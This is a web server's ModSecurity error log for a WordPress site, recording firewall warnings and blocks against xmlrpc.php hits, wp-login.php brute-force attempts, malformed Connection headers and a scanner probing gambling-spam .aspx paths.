[Sat Mar 21 09:42:45.938684 2026] [:error] [pid 43052:tid 43065] [client 134.255.58.165:52180] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab33lV5fjm-AiInC1hL0-wAAA4s"]
[Sat Mar 21 09:43:35.965527 2026] [:error] [pid 43052:tid 43069] [client 134.255.58.165:52457] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab33x15fjm-AiInC1hL1rgAAA48"]
[Sat Mar 21 09:44:33.936083 2026] [:error] [pid 1490:tid 1542] [client 134.255.58.165:52719] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab34AWSWhIPTatyxDeCviQAAAEc"]
[Sat Mar 21 09:45:37.777516 2026] [:error] [pid 33584:tid 33608] [client 134.255.58.165:52963] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab34QeATEQBBo5z2HklB-AAAAdY"]
[Sat Mar 21 09:46:34.908719 2026] [:error] [pid 43052:tid 43056] [client 134.255.58.165:53434] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab34el5fjm-AiInC1hL3LwAAA4I"]
[Sat Mar 21 10:13:09.910076 2026] [:error] [pid 49170:tid 49183] [client 216.24.210.202:47843] [client 216.24.210.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3-tb1KUC-QISS0eWpcKQAAAQs"]
[Sat Mar 21 10:13:09.910282 2026] [:error] [pid 33456:tid 33471] [client 216.24.210.207:53063] [client 216.24.210.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.207, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3-tQ-0Ziq_OzjHFfX_XwAAAY0"]
[Sat Mar 21 10:44:10.628145 2026] [:error] [pid 43052:tid 43077] [client 173.239.218.140:35117] [client 173.239.218.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4F-l5fjm-AiInC1hIVUAAAA5c"]
[Sat Mar 21 10:44:10.628332 2026] [:error] [pid 43052:tid 43073] [client 216.24.210.221:23691] [client 216.24.210.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4F-l5fjm-AiInC1hIVUQAAA5M"]
[Sat Mar 21 11:15:14.731292 2026] [:error] [pid 1489:tid 1515] [client 173.239.218.141:58159] [client 173.239.218.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4NQlRvnvBO_DG9kxtPPAAAAAs"]
[Sat Mar 21 11:15:14.731476 2026] [:error] [pid 43052:tid 43055] [client 216.24.210.202:34271] [client 216.24.210.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4NQl5fjm-AiInC1hIjrgAAA4E"]
[Sat Mar 21 11:48:50.994047 2026] [:error] [pid 33456:tid 33463] [client 216.24.210.194:46603] [client 216.24.210.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4VIg-0Ziq_OzjHFfUGuQAAAYU"]
[Sat Mar 21 11:48:50.994707 2026] [:error] [pid 1489:tid 1514] [client 173.239.218.133:22641] [client 173.239.218.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4VIlRvnvBO_DG9kxtbFwAAAAo"]
[Sat Mar 21 12:20:00.994047 2026] [:error] [pid 42886:tid 42905] [client 216.24.210.199:34457] [client 216.24.210.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4ccF452dC6nbNWav0W2wAAAxE"]
[Sat Mar 21 12:20:00.994048 2026] [:error] [pid 42886:tid 42900] [client 216.24.210.208:39099] [client 216.24.210.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4ccF452dC6nbNWav0W2gAAAww"]
[Sat Mar 21 12:23:23.900397 2026] [:error] [pid 43052:tid 43055] [client 162.62.231.139:39474] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ab4dO15fjm-AiInC1hJBnwAAA4E"]
[Sat Mar 21 12:51:09.832681 2026] [:error] [pid 42886:tid 42912] [client 173.239.218.132:61309] [client 173.239.218.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4jvV452dC6nbNWav0dXwAAAxg"]
[Sat Mar 21 12:51:09.834868 2026] [:error] [pid 42886:tid 42906] [client 173.239.218.129:29157] [client 173.239.218.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4jvV452dC6nbNWav0dYAAAAxI"]
[Sat Mar 21 13:22:22.433700 2026] [:error] [pid 43052:tid 43075] [client 216.24.210.220:59637] [client 216.24.210.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4rDl5fjm-AiInC1hJcwQAAA5U"]
[Sat Mar 21 13:22:22.433800 2026] [:error] [pid 43052:tid 43065] [client 216.24.210.222:41297] [client 216.24.210.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4rDl5fjm-AiInC1hJcwgAAA4s"]
[Sat Mar 21 13:52:09.598455 2026] [:error] [pid 43052:tid 43074] [client 42.117.212.43:58189] [client 42.117.212.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.117.212.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab4yCV5fjm-AiInC1hJvKwAAA5Q"]
[Sat Mar 21 13:53:37.332202 2026] [:error] [pid 1489:tid 1514] [client 216.24.210.208:22831] [client 216.24.210.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4yYVRvnvBO_DG9kxuGvQAAAAo"]
[Sat Mar 21 13:53:37.332817 2026] [:error] [pid 1489:tid 1505] [client 216.24.210.201:35821] [client 216.24.210.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab4yYVRvnvBO_DG9kxuGvgAAAAI"]
[Sat Mar 21 13:56:47.997754 2026] [:error] [pid 1490:tid 1550] [client 43.135.142.7:58990] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab4zH2SWhIPTatyxDeD1eAAAAE8"]
[Sat Mar 21 14:24:38.561447 2026] [:error] [pid 43052:tid 43074] [client 173.239.218.140:38093] [client 173.239.218.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab45pl5fjm-AiInC1hKAbwAAA5Q"]
[Sat Mar 21 14:24:38.562371 2026] [:error] [pid 1490:tid 1537] [client 216.24.210.214:24807] [client 216.24.210.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab45pmSWhIPTatyxDeD88AAAAEQ"]
[Sat Mar 21 14:55:43.562810 2026] [:error] [pid 43052:tid 43073] [client 216.24.210.204:58647] [client 216.24.210.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5A715fjm-AiInC1hKOmQAAA5M"]
[Sat Mar 21 14:55:43.562810 2026] [:error] [pid 1490:tid 1545] [client 173.239.218.145:53057] [client 173.239.218.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5A72SWhIPTatyxDeAFuAAAAEo"]
[Sat Mar 21 15:26:41.428549 2026] [:error] [pid 1491:tid 1586] [client 216.24.210.200:29909] [client 216.24.210.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5IMa3VfHftzE9w9t44gAAAAJY"]
[Sat Mar 21 15:26:41.428804 2026] [:error] [pid 1489:tid 1508] [client 216.24.210.197:25651] [client 216.24.210.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5IMVRvnvBO_DG9kxuoFAAAAAU"]
[Sat Mar 21 15:52:52.727538 2026] [:error] [pid 43052:tid 43070] [client 54.37.252.59:37904] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ab5OVF5fjm-AiInC1hKpwwAAA5A"]
[Sat Mar 21 15:52:54.818304 2026] [:error] [pid 33678:tid 33686] [client 54.37.252.59:35916] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ab5OVjuClB_om73sXhdNjAAAAgY"]
[Sat Mar 21 15:52:56.986129 2026] [:error] [pid 43052:tid 43054] [client 54.37.252.59:35926] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ab5OWF5fjm-AiInC1hKpxQAAA4A"]
[Sat Mar 21 15:52:58.906007 2026] [:error] [pid 49170:tid 49193] [client 54.37.252.59:35936] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ab5OWr1KUC-QISS0eWqR9QAAARU"]
[Sat Mar 21 15:53:01.028176 2026] [:error] [pid 33678:tid 33701] [client 54.37.252.59:35938] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ab5OXTuClB_om73sXhdNkQAAAhU"]
[Sat Mar 21 15:53:03.229550 2026] [:error] [pid 33456:tid 33482] [client 54.37.252.59:35942] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ab5OXw-0Ziq_OzjHFfUZ2gAAAZg"]
[Sat Mar 21 15:53:05.228284 2026] [:error] [pid 43052:tid 43066] [client 54.37.252.59:60906] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ab5OYV5fjm-AiInC1hKp0AAAA4w"]
[Sat Mar 21 15:53:07.237507 2026] [:error] [pid 1491:tid 1575] [client 54.37.252.59:60914] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ab5OY63VfHftzE9w9t47PQAAAIw"]
[Sat Mar 21 15:53:09.088787 2026] [:error] [pid 1490:tid 1542] [client 54.37.252.59:60916] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ab5OZWSWhIPTatyxDeAWgQAAAEc"]
[Sat Mar 21 15:53:11.089554 2026] [:error] [pid 43052:tid 43071] [client 54.37.252.59:60918] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ab5OZ15fjm-AiInC1hKp5gAAA5E"]
[Sat Mar 21 15:53:12.979913 2026] [:error] [pid 1490:tid 1537] [client 54.37.252.59:60930] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ab5OaGSWhIPTatyxDeAWhQAAAEQ"]
[Sat Mar 21 15:53:14.927103 2026] [:error] [pid 42886:tid 42908] [client 54.37.252.59:36890] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ab5Oal452dC6nbNWav1EzwAAAxQ"]
[Sat Mar 21 15:53:16.756068 2026] [:error] [pid 33584:tid 33592] [client 54.37.252.59:36896] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ab5ObOATEQBBo5z2Hkl0lAAAAcY"]
[Sat Mar 21 15:53:19.066390 2026] [:error] [pid 1490:tid 1554] [client 54.37.252.59:36910] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ab5Ob2SWhIPTatyxDeAWjAAAAFM"]
[Sat Mar 21 15:53:21.092076 2026] [:error] [pid 33584:tid 33591] [client 54.37.252.59:36918] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ab5OceATEQBBo5z2Hkl0mQAAAcU"]
[Sat Mar 21 15:53:23.104893 2026] [:error] [pid 1489:tid 1516] [client 54.37.252.59:36926] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ab5Oc1RvnvBO_DG9kxuyzAAAAAw"]
[Sat Mar 21 15:53:25.114180 2026] [:error] [pid 43052:tid 43064] [client 54.37.252.59:53122] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ab5OdV5fjm-AiInC1hKp8QAAA4o"]
[Sat Mar 21 15:53:27.218763 2026] [:error] [pid 1489:tid 1511] [client 54.37.252.59:53132] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ab5Od1RvnvBO_DG9kxuy0wAAAAc"]
[Sat Mar 21 15:53:29.213192 2026] [:error] [pid 42886:tid 42899] [client 54.37.252.59:53142] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ab5OeV452dC6nbNWav1E4gAAAws"]
[Sat Mar 21 15:53:31.195567 2026] [:error] [pid 1489:tid 1503] [client 54.37.252.59:53158] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ab5Oe1RvnvBO_DG9kxuy3wAAAAA"]
[Sat Mar 21 15:53:33.222536 2026] [:error] [pid 43052:tid 43058] [client 54.37.252.59:53168] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ab5OfV5fjm-AiInC1hKp8gAAA4Q"]
[Sat Mar 21 15:53:35.340280 2026] [:error] [pid 1490:tid 1536] [client 54.37.252.59:35268] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ab5Of2SWhIPTatyxDeAWnQAAAEM"]
[Sat Mar 21 15:53:37.629690 2026] [:error] [pid 43052:tid 43076] [client 54.37.252.59:35278] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ab5OgV5fjm-AiInC1hKqAwAAA5Y"]
[Sat Mar 21 15:53:39.681216 2026] [:error] [pid 43052:tid 43071] [client 54.37.252.59:35280] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ab5Og15fjm-AiInC1hKqCQAAA5E"]
[Sat Mar 21 15:53:41.716428 2026] [:error] [pid 33678:tid 33688] [client 54.37.252.59:35290] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ab5OhTuClB_om73sXhdNowAAAgg"]
[Sat Mar 21 15:53:43.757583 2026] [:error] [pid 49170:tid 49182] [client 54.37.252.59:35298] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ab5Oh71KUC-QISS0eWqSAwAAAQo"]
